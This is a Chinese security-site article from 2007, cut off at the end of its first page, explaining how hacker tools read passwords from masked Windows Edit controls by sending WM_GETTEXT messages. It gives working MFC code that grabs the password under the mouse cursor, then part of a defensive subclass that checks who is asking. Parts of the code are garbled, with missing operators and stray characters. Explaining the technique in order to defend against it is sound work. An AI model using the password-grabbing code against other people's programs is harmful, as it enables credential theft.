星际网域
当前位置:网站首页>安全资讯>黑客技术>文章内容
黑客探取密码原理制定相应防范措施
来源:华军资讯 作者:星际网域 发布时间:2007-11-29


  一、非法获取Password的原理:

  Edit控件是Windows的一个标准控件,当把其Password属性设为True时,就会将输入的内容屏蔽为星号,从而达到保护的目的。虽然我们看来都是星号,但程序中的Edit控件实际仍是用户输入的密码,应用程序可以获取该控件中的密码,其他应用程序也可以通过向其发送WM_GETTEXT或EM_GETLINE消息来获取Edit控件中的内容。黑客程序正是利用Edit控件的这个特性,当发现当前探测的窗口是Edit控件并且具有ES_PASSWORD属性时,则通过SendMessage向此窗口发送WM_GETTEXT或EM_GETLINE消息,这样Edit框中的内容就一目了然了。

  二、黑客软件工作方法:

  首先要取得当前的窗口,并判定是否是Edit控件,一般多通过鼠标来指定要探测的窗口,例如在WM_MOUSEMOVE消息的响应函数中进行判定,现列举代码片段如下:

  //将客户坐标转换成屏幕坐标

  ClientToScreen(&point);

  //返回一个包含指定屏幕坐标点的窗口

  CWnd* pWnd = CWnd::WindowFromPoint(point);

  if (pWnd)

  {

  //获取窗口句柄

  HWND hwndCurr = pWnd->GetSafeHwnd();

  if ((::GetWindowThreadProcessId (GetSafeHwnd(), NULL))

  (::GetWindowThreadProcessId (hwndCurr, NULL)))

  char lpClassName[255];

  //获取类名

  if (::GetClassName(hwndCurr, lpClassName, 255))

  {

  //判定是否是Edit控件

  if (0 == m_strWndClass.CompareNoCase("EDIT"))

  {

  //获取窗口风格

  LONG lStyle = ::GetWindowLong(hwndCurr, GWL_STYLE);

  //假如设置了ES_PASSWORD属性

  if (lStyle & ES_PASSWORD)

  {

  char szText[255];

  //通过把握的句柄hwndCurr向此控件发送WM_GETTEXT消息 P%>Ke03)S

  ::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText);

  //密码已保存在szText中

  m_strPassword = szText;

  }

  }

  }

  }

  上述代码中值得注重的有以下几个要害地方:

  ClientToScreen(&point);

  CWnd* pWnd = CWnd::WindowFromPoint(point);

  HWND hwndCurr = pWnd->GetSafeHwnd();

  这三句代码可以获取当前鼠标位置所在窗口的窗口句柄,在SendMessage中要用到的。

  ::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText);

  这便是真正起作用的SendMessage了,其第一个参数指定了要接收消息的窗口句柄,我们已经通过上面的代码获取到了,第二个参数就是让Edit控件返回字符的WM_GETTEXT消息了,并将得到的内容保存在szText中。      三、防范措施

  既然我们搞清除了黑客软件普遍采取的手法,那我们自然能制订出一套防范其攻击的措施来。下面我们就要对Password进行保护。

  从以上分析我们可以看出:Edit控件的漏洞主要在于没有对发送WM_GETTEXT或EM_GETLINE消息者的身份进行检查,只要能找到Edit窗口句柄,任何进程都可获取其内容。所以必须要对发送消息者的身份进行验证,这里给出一种方法来验证发送消息者的身份是否合法:

  1.创建新CEdit类

  从CEdit继续一个子类CPasswordEdit,申明全局变量g_bSenderIdentity表明消息发送者的身份:

  BOOL g_bSenderIdentity;

  然后响应CWnd的虚函数DefWindowProc,在这个回调函数中进行身份验证:

  LRESULTCPasswordEdit::DefWindowProc (UINTmessage,WPARAMwParam,LPARAMlParam)

  {

  //对Edit的内容获取必须通过以下两个消息之一

  if((message==WM_GETTEXT)   (message==EM_GETLINE))

  { 2

  //检查是否为合法

  if(!g_bSenderIdentity)

  {

  //非法获取,显示信息

  AfxMessageBox(_T ("报告:正在试图窃取密码!"));

  return 0;

  }

  //合法获取

  g_bSenderIdentity=FALSE;

  }

  return CEdit::DefWindowProc (message,wParam,lParam);

  }

  2.在数据输入对话框中做些处理

  在对话框中申明一个类成员m_edtPassword:

  CpasswordEdit m_edtPassword;

  然后在对话框的OnInitDialog()中加入下列代码:

  m_edtPassword.SubclassDlgItem(IDC_EDIT_PASSWORD,this);

  将控制与新类做关联。

  之后要在对话框的数据交换函数中将身份设为合法:

  void CDlgInput::DoDataExchange (CDataExchange*pDX)

  {

  //假如获取数据


共2页: 上一页 1 [2] 下一页
Tags:防范 措施 相应 制定 密码 原理 黑客 // 控件 获取 Edit

(阅读次数: 次)


星际网域免责声明:本网站转载纯粹出于为网民传递更多信息之目的,无任何商业目的。如本网站转载稿件涉及版权等问题,请作者在两周内速来电或来函星际网域 web#okeve.com 联系,在此,我们首先向您表示诚挚的歉意,并将尽快予以改正。本网站上发表的内容只代表作者本人之观点,本网站只出于传递更多信息之目的,并不意味着赞同其观点或证实其内容的真实性。
[收藏] [推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]
用户名: 新注册) 密码: 匿名评论 [所有评论]
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
最新评论:
推荐文章
·黑客利用禽流感邮件传播新木马病毒
·黑客经eBay传播恶意代码 网购安全堪忧
·上网盗账号密码 无聊之徒被判12年
·美国20岁黑客出租千万僵尸病毒电脑牟利入
·黑客的目标:GDrive是存储的未来之路?
·黑客实战 系统泄露密码入侵攻击分析
·知已知彼 黑客如何制作Flash木马程序
·借刀杀人:用工具破解Foxmail密码
·定位对手 巧用天网防火墙查对方IP地址
·密码心理学 看黑客是如何来破解密码的
·黑客攻击行为的特征分析及反攻击技术
·iTunes漏洞曝光 媒体文件受黑客攻击
·计算机网络IP地址 攻击方式详细介绍
·找出安全漏洞 QQ盗号软件分析与反击
·拒绝网络陷阱 怎样才能进入安全的数字堡
热点文章
·新手十三步轻松就能学会入侵个人电脑
·经典教程 初级黑客安全技术命令详解
·看看黑客如何给你的系统种上木马!
·教你黑客是怎样侦察和隐藏IP地址的
·新人零起步接触黑客─网站入侵基本知识
·知己知彼 先看恶意程序是怎样写成的
·黑客盗号再出新招 让用户自己泄露密码
·愚公移山常见实用文档密码之暴力破解
·黑客攻击彻底揭密:分析选定网络攻击
·入侵技巧:通过“鼠洞”控制你的计算机
·新手学堂:分享骇客技术的七大秘籍
·黑客技巧之手把手教你轻松破解网吧!
·攻防实战 入侵邻居MM家的无线路由器
·如何入侵装有SQL数据库的电脑主机(图)
·揭密黑客网络入侵的十四种实用方法!
相关文章
·ADSL Modem防黑客攻击 修炼秘技
·接入节点入手 谈黑客和DDOS攻击防御
·电信IP网建立防范黑客攻击安全防范策略
·系统防御战:黑客网络攻击的预防措施
·安全专家支招防范黑客攻击九大方法
·一分钟破解Windows系统开机密码
·安全基础 如何看电脑是否被木马攻击
·完整的XSS wrom网站入侵实例示范
·在黑客动手之前先黑掉你自己
·技巧:黑客眼中安全防范的 四大利器
·实例:揭露伪装skype的网络钓鱼骗局
·黑客基础知识 常用命令和快捷键大全
·技术讲解 实战黑客网络攻击的预防措施
·用SockOnline软件轻松突破端口限制
·巧妙从进程中判断出病毒和木马
网站地图 | 友情链接 | 版权声明 | 高级搜索 | 发表文章 | 留言反馈 | 本站论坛 | 服务 | 关于我们 | RSS订阅
Copyright(C)2005-2008 okeve.com All rights reserved.
推荐使用1024*768以上分辨率来浏览本站
湘ICP备07501566号